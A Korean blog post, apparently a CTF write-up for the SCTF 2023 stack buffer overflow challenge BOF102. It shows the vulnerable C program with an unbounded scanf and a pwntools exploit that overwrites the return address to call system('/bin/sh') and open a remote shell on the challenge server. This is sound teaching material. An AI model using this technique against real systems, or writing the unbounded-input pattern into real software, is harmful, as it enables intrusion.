War Game/CTF

[SCTF 2023] BOF102 - writeup

ReTeu 2023. 8. 22. 19:59

다음 문제도 마찬가지로 스택에서의 BOF를 다룬 문제이다. 한 문제만에 난이도가 꽤 올라가긴 했는데, 역시 코드부터 살펴보도록 하자.

#include <stdio.h>
#include <stdlib.h>

char name[16];

void bofme() {
	char payload[16];

	puts("What's your name?");
	printf("Name > ");
	scanf("%16s", name);
	printf("Hello, %s.\n", name);

	puts("Do you wanna build a snowman?");
	printf(" > ");
	scanf("%s", payload);
	printf("!!!%s!!!\n", payload);
	puts("Good.");
}

int main() {
	system("echo 'Welcome to BOF 102!'");
	bofme();
	return 0;
}

  이번에는 flag를 읽어서 출력해주는 코드 자체가 존재하지 않는다. 이러한 경우 우리가 직접 flag를 출력하거나, system 함수를 통해 bash를 실행하는 방법 등을 이용해야 한다.

스택 BOF에서 가장 중요한 것은 스택 레이아웃을 그리는 것이므로 이번에도 재빠르게 이를 살펴보자.

main 함수의 스택 레이아웃 (좌)과 프로그램 전체적인 관점에서의 스택 레이아웃 (우)

system("/bin/sh")을 호출하기 위해 bofme()에서의 ret 영역에 system() 함수의 주소값을 적고, 전역변수인 name에 "/bin/sh"을 입력하여 전달할 계획이다. 각각의 주소는 objdump와 같은 명령어를 통해 바이너리를 대상으로 점프를 뜨면 확인할 수 있다.

from pwn import *

host = "bof102.sstf.site"
port = 1337

r = remote(host, port)

r.recvuntil("Name > ")
r.sendline("/bin/sh")

payload = b"A" * 20
payload += b"\x30\x84\x04\x08"
payload += b"C" * 4
payload += b"\x6c\xa0\x04\x08"

r.recvuntil(" > ")
r.sendline(payload)

r.interactive()

'War Game > CTF' 카테고리의 다른 글

[SCTF2023] SQLi 102  (0) 2023.08.22
[SCTF 2023] SQLi 101 - writeup  (0) 2023.08.22
[SCTF 2023] BOF104 - writeup  (0) 2023.08.22
[SCTF 2023] BOF103 - writeup  (0) 2023.08.22
[SCTF 2023] BOF101 - writeup  (0) 2023.08.22